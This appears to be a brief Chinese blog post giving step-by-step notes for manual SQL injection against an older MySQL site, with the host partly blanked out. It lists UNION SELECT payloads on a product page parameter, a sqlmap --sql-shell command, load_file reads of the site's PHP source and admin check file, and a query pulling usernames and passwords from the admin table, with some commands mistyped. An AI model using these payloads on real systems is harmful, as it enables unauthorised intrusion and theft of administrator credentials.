Mysql5.0以下 手工注入
order by 20
www. .com/product/introduction.php?id=-65 UNION SELECT user(),2
www. .com/product/introduction.php?id=-65 UNION SELECT @@versions,2
报错
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /home/webroot/cw/product/introduction.php on line 71
使用sqlmap 将/home/webroot/cw/product/introduction.php带入
sqlmap -u "" --sql-sehll
select load_file('/home/webroot/cw/product/introduction.php') 查看introduction.php的源码

依次类推,可以找出更多的文件路径
找出管理登录目录
select load_file('/home/webroot/cw/check.php')
查找管理员表,列
select user,pwd from admin;

作者:Dozeoo
本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接,否则保留追究法律责任的权利。

浙公网安备 33010602011771号